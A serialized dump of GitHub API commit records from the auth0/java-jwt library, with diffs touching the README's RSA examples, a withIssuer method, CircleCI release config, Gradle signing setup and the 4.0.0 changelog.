+project(':java-jwt').projectDir = new File(rootProject.projectDir, '/lib')ueu(63a10798b0ec5aed003734626cadbf72f8a70322}(sha(63a10798b0ec5aed003734626cadbf72f8a70322node_idEC_kwDOAQtL0doAKDYzYTEwNzk4YjBlYzVhZWQwMDM3MzQ2MjZjYWRiZjcyZjhhNzAzMjIcommit}(author}(name
Petr Dvořákemailpetr@wultra.comdate2022-03-17T20:23:34Zu	committer}(j@  GitHubjB  noreply@github.comjD  2022-03-17T20:23:34ZumessageFix auth0/java-jwt#554tree}(j8  (2e2d148e5d7bef4234edb096a326ab9ff6178fb4url^https://api.github.com/repos/auth0/java-jwt/git/trees/2e2d148e5d7bef4234edb096a326ab9ff6178fb4ujP  `https://api.github.com/repos/auth0/java-jwt/git/commits/63a10798b0ec5aed003734626cadbf72f8a70322
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiM5jGCRBK7hj4Ov3rIwAAYTIIABLFjwjxj+V2vNQrdOfYJu4o
qcEEh15UEAzkCaU1M1t/qtE7tT1sle1Noyv5uJ0yFAA3xgMJyL0vnvMDQd87C6Sn
u0+QD+5YAg0O/m9d0/rpxox715Ltuy1BRGSC3bgGawhFRPmEqH2UdIs6omJ44nNY
0rPd94TLbOWo26BPK9xjkZVnrpBocBN4uvWc9MuN9pqMNPgbpNFNYbOA2rtUJGG3
1SJhKwkttMAIF7v/NvnwWAnkyRGJoWshjccHjC2hggW7Y1njwPFQPD1UmJzdOMSZ
bD951V9OLZM84cPLMyu32ABN09eH59livgxzQlXNZl4mIN1out5bcsnf+Zg73iw=
=P0HJ
-----END PGP SIGNATURE-----
payloadtree 2e2d148e5d7bef4234edb096a326ab9ff6178fb4
parent 1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b
author Petr Dvořák <petr@wultra.com> 1647548614 +0100
committer GitHub <noreply@github.com> 1647548614 +0100

Fix auth0/java-jwt#554uujP  \https://api.github.com/repos/auth0/java-jwt/commits/63a10798b0ec5aed003734626cadbf72f8a70322html_urlQhttps://github.com/auth0/java-jwt/commit/63a10798b0ec5aed003734626cadbf72f8a70322comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/63a10798b0ec5aed003734626cadbf72f8a70322/commentsj>  }(login
petrdvorakidJ j:  MDQ6VXNlcjUxNjU5Nw==
avatar_url2https://avatars.githubusercontent.com/u/516597?v=4gravatar_idh3jP  'https://api.github.com/users/petrdvorakj^  https://github.com/petrdvorak
followers_url1https://api.github.com/users/petrdvorak/followers
following_url>https://api.github.com/users/petrdvorak/following{/other_user}	gists_url7https://api.github.com/users/petrdvorak/gists{/gist_id}starred_url>https://api.github.com/users/petrdvorak/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/petrdvorak/subscriptionsorganizations_url,https://api.github.com/users/petrdvorak/orgs	repos_url-https://api.github.com/users/petrdvorak/repos
events_url8https://api.github.com/users/petrdvorak/events{/privacy}received_events_url7https://api.github.com/users/petrdvorak/received_eventstypeUser
site_adminujF  }(jc  web-flowje  J/j:  MDQ6VXNlcjE5ODY0NDQ3jg  4https://avatars.githubusercontent.com/u/19864447?v=4ji  h3jP  %https://api.github.com/users/web-flowj^  https://github.com/web-flowjl  /https://api.github.com/users/web-flow/followersjn  <https://api.github.com/users/web-flow/following{/other_user}jp  5https://api.github.com/users/web-flow/gists{/gist_id}jr  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jt  3https://api.github.com/users/web-flow/subscriptionsjv  *https://api.github.com/users/web-flow/orgsjx  +https://api.github.com/users/web-flow/reposjz  6https://api.github.com/users/web-flow/events{/privacy}j|  5https://api.github.com/users/web-flow/received_eventsj~  Userj  uparents]}(j8  (1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bjP  \https://api.github.com/repos/auth0/java-jwt/commits/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bj^  Qhttps://github.com/auth0/java-jwt/commit/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5buastats}(totalK	additionsK	deletionsKufiles]}(j8  (a26170d24af28409899f6ad6f1c55677dbc22b8ffilename	README.mdstatusmodifiedj  Kj  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/63a10798b0ec5aed003734626cadbf72f8a70322/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/63a10798b0ec5aed003734626cadbf72f8a70322/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=63a10798b0ec5aed003734626cadbf72f8a70322patchX  @@ -137,10 +137,9 @@ You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. U
 * Example using `RS256`
 
     ```java
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
+    RSAPrivateKey privateKey = //Get the private key instance
     try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
+        Algorithm algorithm = Algorithm.RSA256(null, privateKey); // only the private key is used for signing
         String token = JWT.create()
             .withIssuer("auth0")
             .sign(algorithm);
@@ -176,9 +175,8 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
     ```java
     String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
     RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
     try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
+        Algorithm algorithm = Algorithm.RSA256(publicKey, null); // only the public key is used during verification
         JWTVerifier verifier = JWT.require(algorithm)
             .withIssuer("auth0")
             .build(); //Reusable verifier instanceuau(ff6136ff9ed895b2121361822436825e8bc544c1}(sha(ff6136ff9ed895b2121361822436825e8bc544c1node_idPMDY6Q29tbWl0MTc1MTc1MjE6ZmY2MTM2ZmY5ZWQ4OTViMjEyMTM2MTgyMjQzNjgyNWU4YmM1NDRjMQ==commit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2021-09-03T20:33:09Zu	committer}(j  James Andersonj  jim.anderson@auth0.comj  2021-09-03T20:33:09ZumessageRestore withIssuertree}(j  (8286e256de641aacfb6ec1cbfaee2699b3e61ee0url^https://api.github.com/repos/auth0/java-jwt/git/trees/8286e256de641aacfb6ec1cbfaee2699b3e61ee0ujǓ  `https://api.github.com/repos/auth0/java-jwt/git/commits/ff6136ff9ed895b2121361822436825e8bc544c1
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujǓ  \https://api.github.com/repos/auth0/java-jwt/commits/ff6136ff9ed895b2121361822436825e8bc544c1html_urlQhttps://github.com/auth0/java-jwt/commit/ff6136ff9ed895b2121361822436825e8bc544c1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ff6136ff9ed895b2121361822436825e8bc544c1/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jǓ  'https://api.github.com/users/jimmyjamesjӓ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(jؓ  
jimmyjamesjړ  J7 j  MDQ6VXNlcjI3NjIyNQ==jܓ  2https://avatars.githubusercontent.com/u/276225?v=4jޓ  h3jǓ       'https://api.github.com/users/jimmyjamesjӓ  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (364bf598ac1da6305b95633e4d3e38933585e7b0jǓ  \https://api.github.com/repos/auth0/java-jwt/commits/364bf598ac1da6305b95633e4d3e38933585e7b0jӓ  Qhttps://github.com/auth0/java-jwt/commit/364bf598ac1da6305b95633e4d3e38933585e7b0uastats}(totalK	additionsK	deletionsK ufiles]}(j  (cd2061d79b9e8e0439d0caa9a246f95073d2b657filename<lib/src/main/java/com/auth0/jwt/interfaces/Verification.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/ff6136ff9ed895b2121361822436825e8bc544c1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaraw_urlhttps://github.com/auth0/java-jwt/raw/ff6136ff9ed895b2121361822436825e8bc544c1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=ff6136ff9ed895b2121361822436825e8bc544c1patchX  @@ -8,6 +8,17 @@
  * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
  */
 public interface Verification {
+
+    /**
+     * Require a specific Issuer ("iss") claim.
+     *
+     * @param issuer the required Issuer value.
+     * @return this same Verification instance.
+     */
+    default Verification withIssuer(String issuer) {
+        return withIssuer(new String[]{issuer});
+    }
+
     /**
      * Require a specific Issuer ("iss") claim.
      *uau(75a0bc0f9f0411891bb0e791e13dfa91a01e38ac}(sha(75a0bc0f9f0411891bb0e791e13dfa91a01e38acnode_idEC_kwDOAQtL0doAKDc1YTBiYzBmOWYwNDExODkxYmIwZTc5MWUxM2RmYTkxYTAxZTM4YWMcommit}(author}(namefrederikprijckemailfrederik.prijck@auth0.comdate2022-10-05T12:52:37Zu	committer}(j,  frederikprijckj.  frederik.prijck@auth0.comj0  2022-10-05T12:52:37Zumessage%Add integration with our Shipping orbtree}(j$  (d579d6c7160887f88042f1aa5e97cac9a23b071furl^https://api.github.com/repos/auth0/java-jwt/git/trees/d579d6c7160887f88042f1aa5e97cac9a23b071fuj<  `https://api.github.com/repos/auth0/java-jwt/git/commits/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj<  \https://api.github.com/repos/auth0/java-jwt/commits/75a0bc0f9f0411891bb0e791e13dfa91a01e38achtml_urlQhttps://github.com/auth0/java-jwt/commit/75a0bc0f9f0411891bb0e791e13dfa91a01e38accomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/commentsj*  }(loginfrederikprijckidJW  j&  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3j<  +https://api.github.com/users/frederikprijckjH  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminuj2  }(jM  frederikprijckjO  JW  j&  MDQ6VXNlcjIxNDY5MDM=jQ  3https://avatars.githubusercontent.com/u/2146903?v=4jS  h3j<  +https://api.github.com/users/frederikprijckjH  !https://github.com/frederikprijckjV  5https://api.github.com/users/frederikprijck/followersjX  Bhttps://api.github.com/users/frederikprijck/following{/other_user}jZ  ;https://api.github.com/users/frederikprijck/gists{/gist_id}j\  Bhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}j^  9https://api.github.com/users/frederikprijck/subscriptionsj`  0https://api.github.com/users/frederikprijck/orgsjb  1https://api.github.com/users/frederikprijck/reposjd  <https://api.github.com/users/frederikprijck/events{/privacy}jf  ;https://api.github.com/users/frederikprijck/received_eventsjh  Userjj  uparents]}(j$  (5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbj<  \https://api.github.com/repos/auth0/java-jwt/commits/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbjH  Qhttps://github.com/auth0/java-jwt/commit/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbuastats}(totalK"	additionsK!	deletionsKufiles](}(j$  (4741868d0ea0e07988454bf12db48a3373a8b8ecfilename.circleci/config.ymlstatusmodifiedj  Kj  K changesKblob_urlfhttps://github.com/auth0/java-jwt/blob/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=75a0bc0f9f0411891bb0e791e13dfa91a01e38acpatchX  @@ -1,5 +1,6 @@
 version: 2.1
 orbs:
+  ship: auth0/ship@0.7.1
   codecov: codecov/codecov@3
 
 commands:
@@ -56,6 +57,17 @@ workflows:
   build-and-test:
     jobs:
       - build
+      - ship/java-publish:
+          prefix-tag: false
+          context:
+            - publish-gh
+            - publish-sonatype
+          filters:
+            branches:
+              only:
+                - master
+          requires:
+            - build
   # api-diff:
   #   jobs:
   #     - api-diffu}(j$  (a00fb91e5ded38b54e8919a241b840be24eea01aj  .shiprcj  modifiedj  Kj  Kj  Kj  Whttps://github.com/auth0/java-jwt/blob/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/.shiprcj  Vhttps://github.com/auth0/java-jwt/raw/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/.shiprcj  ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=75a0bc0f9f0411891bb0e791e13dfa91a01e38acj  @@ -1,6 +1,7 @@
 {
   "files": {
-    "README.md": []
+    "README.md": [],
+    "lib/build.gradle": []
   },
   "prefixVersion": false
 }
\ No newline at end of fileu}(j$  (74cdb5c1b8f307b7f71881b717fe020cdda79d69j  lib/build.gradlej  modifiedj  Kj  K j  Kj  bhttps://github.com/auth0/java-jwt/blob/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/75a0bc0f9f0411891bb0e791e13dfa91a01e38ac/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=75a0bc0f9f0411891bb0e791e13dfa91a01e38acj  XE  @@ -1,10 +1,21 @@
+buildscript {
+    version = "4.0.0"
+}
+
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
     id 'checkstyle'
 }
 
+def signingKey = findProperty('SIGNING_KEY')
+def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+
+signing {
+    useInMemoryPgpKeys(signingKey, signingKeyPwd)
+}
+
 checkstyle {
     toolVersion '10.0'
     checkstyleTest.enabled = false //We are disabling lint checks for tests
@@ -134,3 +145,11 @@ jar {
 
 compileModuleInfoJava.dependsOn compileJava
 classes.dependsOn compileModuleInfoJava
+
+// Creates a version.txt file containing the current version of the SDK.
+// This file is picked up and parsed by our Ship Orb to determine the version.
+task exportVersion()  {
+    doLast {
+        new File(rootDir, "version.txt").text = "$version"
+    }
+}ueu(a14643d4a9cca096d3dc2049db6a4e0522d454d9}(sha(a14643d4a9cca096d3dc2049db6a4e0522d454d9node_idEC_kwDOAQtL0doAKGExNDY0M2Q0YTljY2EwOTZkM2RjMjA0OWRiNmE0ZTA1MjJkNDU0ZDkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T14:10:37Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-05-06T14:10:37ZumessageUpdated Changelog for betatree}(j  (bb38a65c87f97ce9ea7042aea680130177c29e74url^https://api.github.com/repos/auth0/java-jwt/git/trees/bb38a65c87f97ce9ea7042aea680130177c29e74uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/a14643d4a9cca096d3dc2049db6a4e0522d454d9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/a14643d4a9cca096d3dc2049db6a4e0522d454d9html_urlQhttps://github.com/auth0/java-jwt/commit/a14643d4a9cca096d3dc2049db6a4e0522d454d9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a14643d4a9cca096d3dc2049db6a4e0522d454d9/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj͔  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(jҔ  	poovamrajjԔ  J j  MDQ6VXNlcjE1OTEwNDI1j֔  4https://avatars.githubusercontent.com/u/15910425?v=4jؔ  h3j  &https://api.github.com/users/poovamrajj͔  https://github.com/poovamrajj۔  0https://api.github.com/users/poovamraj/followersjݔ  =https://api.github.com/users/poovamraj/following{/other_user}jߔ  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (08f2e1de7ad86ad85a182c2d8a01ec04358be5edj  \https://api.github.com/repos/auth0/java-jwt/commits/08f2e1de7ad86ad85a182c2d8a01ec04358be5edj͔  Qhttps://github.com/auth0/java-jwt/commit/08f2e1de7ad86ad85a182c2d8a01ec04358be5eduastats}(totalK0	additionsK	deletionsKufiles]}(j  (123788f02965b501d550b32f1b5fc4edc33d081afilenameCHANGELOG.mdstatusmodifiedj	  Kj
  KchangesK0blob_url\https://github.com/auth0/java-jwt/blob/a14643d4a9cca096d3dc2049db6a4e0522d454d9/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/a14643d4a9cca096d3dc2049db6a4e0522d454d9/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=a14643d4a9cca096d3dc2049db6a4e0522d454d9patchX  @@ -1,51 +1,53 @@
 # Change Log
 
 ## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
-[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.0.0-beta.0)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
+
+💡 Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
 
 **Added**
-- [SDK-3159] JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3244] Add Migration Guide [\#576](https://github.com/auth0/java-jwt/pull/576) ([jimmyjames](https://github.com/jimmyjames))
-- [SDK-3226] Expose claim name and header constants [\#574](https://github.com/auth0/java-jwt/pull/574) ([jimmyjames](https://github.com/jimmyjames))
-- [SDK-3231] Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
+- JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))
+- Add Migration Guide [\#576](https://github.com/auth0/java-jwt/pull/576) ([jimmyjames](https://github.com/jimmyjames))
+- Expose claim name and header constants [\#574](https://github.com/auth0/java-jwt/pull/574) ([jimmyjames](https://github.com/jimmyjames))
+- Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
 - Improved README structure [\#571](https://github.com/auth0/java-jwt/pull/571) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3154] Improved Exception Handling [\#568](https://github.com/auth0/java-jwt/pull/568) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3155] Predicate based Claim verification [\#562](https://github.com/auth0/java-jwt/pull/562) ([poovamraj](https://github.com/poovamraj))
+- Improved Exception Handling [\#568](https://github.com/auth0/java-jwt/pull/568) ([poovamraj](https://github.com/poovamraj))
+- Predicate based Claim verification [\#562](https://github.com/auth0/java-jwt/pull/562) ([poovamraj](https://github.com/poovamraj))
 - Add lint checks [\#561](https://github.com/auth0/java-jwt/pull/561) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3186] Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
-- [SDK-3149] Add Instant support [\#537](https://github.com/auth0/java-jwt/pull/537) ([jimmyjames](https://github.com/jimmyjames))
+- Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
+- Add Instant support [\#537](https://github.com/auth0/java-jwt/pull/537) ([jimmyjames](https://github.com/jimmyjames))
 - Testing Java LTS versions [\#536](https://github.com/auth0/java-jwt/pull/536) ([poovamraj](https://github.com/poovamraj))
 
 **Changed**
-- [SDK-3158] Null claim handling [\#564](https://github.com/auth0/java-jwt/pull/564) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3151] Undeprecate Single Key Constructor for Algorithms [\#551](https://github.com/auth0/java-jwt/pull/551) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3151] Update documentation and undeprecate single content sign methods [\#550](https://github.com/auth0/java-jwt/pull/550) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3197] Update test deps [\#539](https://github.com/auth0/java-jwt/pull/539) ([jimmyjames](https://github.com/jimmyjames))
+- Null claim handling [\#564](https://github.com/auth0/java-jwt/pull/564) ([poovamraj](https://github.com/poovamraj))
+- Undeprecate Single Key Constructor for Algorithms [\#551](https://github.com/auth0/java-jwt/pull/551) ([poovamraj](https://github.com/poovamraj))
+- Update documentation and undeprecate single content sign methods [\#550](https://github.com/auth0/java-jwt/pull/550) ([poovamraj](https://github.com/poovamraj))
+- Update test deps [\#539](https://github.com/auth0/java-jwt/pull/539) ([jimmyjames](https://github.com/jimmyjames))
 
 **Deprecated**
-- [SDK-3192] Deprecate secp256k1 curve for EC Algorithms [\#540](https://github.com/auth0/java-jwt/pull/540) ([poovamraj](https://github.com/poovamraj))
+- Deprecate secp256k1 curve for EC Algorithms [\#540](https://github.com/auth0/java-jwt/pull/540) ([poovamraj](https://github.com/poovamraj))
 
 **Removed**
 - Remove ES256K support [\#556](https://github.com/auth0/java-jwt/pull/556) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3212] Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3160] Remove internal Clock [\#533](https://github.com/auth0/java-jwt/pull/533) ([jimmyjames](https://github.com/jimmyjames))
+- Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
+- Remove internal Clock [\#533](https://github.com/auth0/java-jwt/pull/533) ([jimmyjames](https://github.com/jimmyjames))
 
 **Fixed**
 - Improve keyprovider reliability [\#570](https://github.com/auth0/java-jwt/pull/570) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3186] Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
+- Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
 - Test only change - remove unnecessary throws clause from tests [\#535](https://github.com/auth0/java-jwt/pull/535) ([jimmyjames](https://github.com/jimmyjames))
 
 **Security**
-- [SDK-3125] Updated documentation regarding HMAC Key length [\#580](https://github.com/auth0/java-jwt/pull/580) ([poovamraj](https://github.com/poovamraj))
+- Updated documentation regarding HMAC Key length [\#580](https://github.com/auth0/java-jwt/pull/580) ([poovamraj](https://github.com/poovamraj))
 
 **Breaking changes**
-- [SDK-3231] Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
+- Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
 - Improve keyprovider reliability [\#570](https://github.com/auth0/java-jwt/pull/570) ([poovamraj](https://github.com/poovamraj))
 - Remove ES256K support [\#556](https://github.com/auth0/java-jwt/pull/556) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3212] Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
-- [SDK-3171] Fix header claims serialization [\#549](https://github.com/auth0/java-jwt/pull/549) ([jimmyjames](https://github.com/jimmyjames))
-- [SDK-3150] Serialize dates in collections as seconds since epoch [\#534](https://github.com/auth0/java-jwt/pull/534) ([jimmyjames](https://github.com/jimmyjames))
-- [SDK-3160] Replace com.auth0.jwt.interfaces.Clock with java.time.Clock [\#532](https://github.com/auth0/java-jwt/pull/532) ([jimmyjames](https://github.com/jimmyjames))
+- Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
+- Fix header claims serialization [\#549](https://github.com/auth0/java-jwt/pull/549) ([jimmyjames](https://github.com/jimmyjames))
+- Serialize dates in collections as seconds since epoch [\#534](https://github.com/auth0/java-jwt/pull/534) ([jimmyjames](https://github.com/jimmyjames))
+- Replace com.auth0.jwt.interfaces.Clock with java.time.Clock [\#532](https://github.com/auth0/java-jwt/pull/532) ([jimmyjames](https://github.com/jimmyjames))
 
 ## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)uau(90a68cbeba433c1634450f7d4d32e882aec5bd79}(sha(90a68cbeba433c1634450f7d4d32e882aec5bd79node_idEC_kwDOAQtL0doAKDkwYTY4Y2JlYmE0MzNjMTYzNDQ1MGY3ZDRkMzJlODgyYWVjNWJkNzkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-06-24T09:59:21Zu	committer}(j&  
Poovamraj T Tj(  poovamraj@gmail.comj*  2022-06-24T09:59:21Zumessage
Release 4.0.0tree}(j  (da3a995e9e8f27903e0767cc1f65f063ac7f40d5url^https://api.github.com/repos/auth0/java-jwt/git/trees/da3a995e9e8f27903e0767cc1f65f063ac7f40d5uj6  `https://api.github.com/repos/auth0/java-jwt/git/commits/90a68cbeba433c1634450f7d4d32e882aec5bd79
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj6  \https://api.github.com/repos/auth0/java-jwt/commits/90a68cbeba433c1634450f7d4d32e882aec5bd79html_urlQhttps://github.com/auth0/java-jwt/commit/90a68cbeba433c1634450f7d4d32e882aec5bd79comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/90a68cbeba433c1634450f7d4d32e882aec5bd79/commentsj$  }(login	poovamrajidJ j   MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j6  &https://api.github.com/users/poovamrajjB  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
